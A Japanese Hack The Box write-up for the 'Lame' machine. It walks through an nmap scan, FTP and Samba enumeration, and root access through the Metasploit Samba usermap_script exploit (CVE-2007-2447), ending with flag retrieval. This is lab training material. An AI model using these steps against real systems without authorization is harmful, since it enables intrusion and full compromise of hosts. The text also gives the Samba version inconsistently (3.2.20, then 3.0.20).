💻

Lame | Hack The Box Writeup

に公開

マシン情報

  • マシン名:Lame
  • OS:Linux
  • 難易度:Easy

使用ツール

  • Nmap
  • FTP
  • Metasploit
  • Samba

攻略方法

1. ポートスキャン

nmapでポートスキャンします。

nmap -sV {マシンIP}
nmapのオプション

-sV:サービスのバージョンを検出する


スキャンの結果、以下のサービスが稼働していることがわかります。

ポート 状態 サービス バージョン
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
139, 445/tcp open Samba smbd 3.X - 4.X

2. 検出されたサービスの調査

FTPに匿名ログインできるか試してみます。

ftp {マシンIP}
匿名ログインとは

ログインする際にユーザー名をanonymousとすることでパスワードなしでログインできること


匿名ログインできたので中身を見てみましたが、気になるファイルはありませんでした。

Metasploitを使ってFTPに脆弱性がないか調べてみます。
Metasploitを起動

msfconsole


vsftpd 2.3.4の脆弱性を検索

search vsftpd 2.3.4


VSFTPD v2.3.4 Backdoor Command Executionというバックドアが見つかったため調べてみたところ、このバックドアはもう削除されてるらしいです。
他のアプローチを考えましょう。


次にSambaに接続し、共有しているリソースがないか確かめます。

smbclient -L //{マシンIP} -N
smbclientのオプション

-L:指定したホスト上の共有リソースを一覧表示する
-N:認証を行わない


いくつか共有フォルダがあることと、Sambaのバージョンが3.2.20であることがわかりました。
FTPの時と同様、Sambaに脆弱性がないか調べます。

msfconsole
search Samba 3.0.20


Samba "username map script" Command Executionで調べてみたところ、実行できそうなうえに、CVE-2007-2447が割り当てられていました。
使用するモジュールを指定

use exploit/multi/samba/usermap_script


オプションを表示

show options


パラメータを設定
Requiredの欄がyesになっているパラメータは設定が必須です。
今回においては、RHOSTS(攻撃対象のIP)とLHOST(攻撃者側のIP)を設定しなければなりません。

set RHOSTS {マシンIP}
set LHOST {自身のIP}

3. Exploit実行

設定が完了したらrunと入力するだけでExploitが実行されます。

run


idでユーザーを確認すると、まさかのrootでした。

4. user.txtとroot.txt取得

あとはfindでuser.txtとroot.txtを検索し、catでflagを取得するだけです。

find / -name user.txt
find / -name root.txt

cat /home/makis/user.txt
cat /root/root.txt

Discussion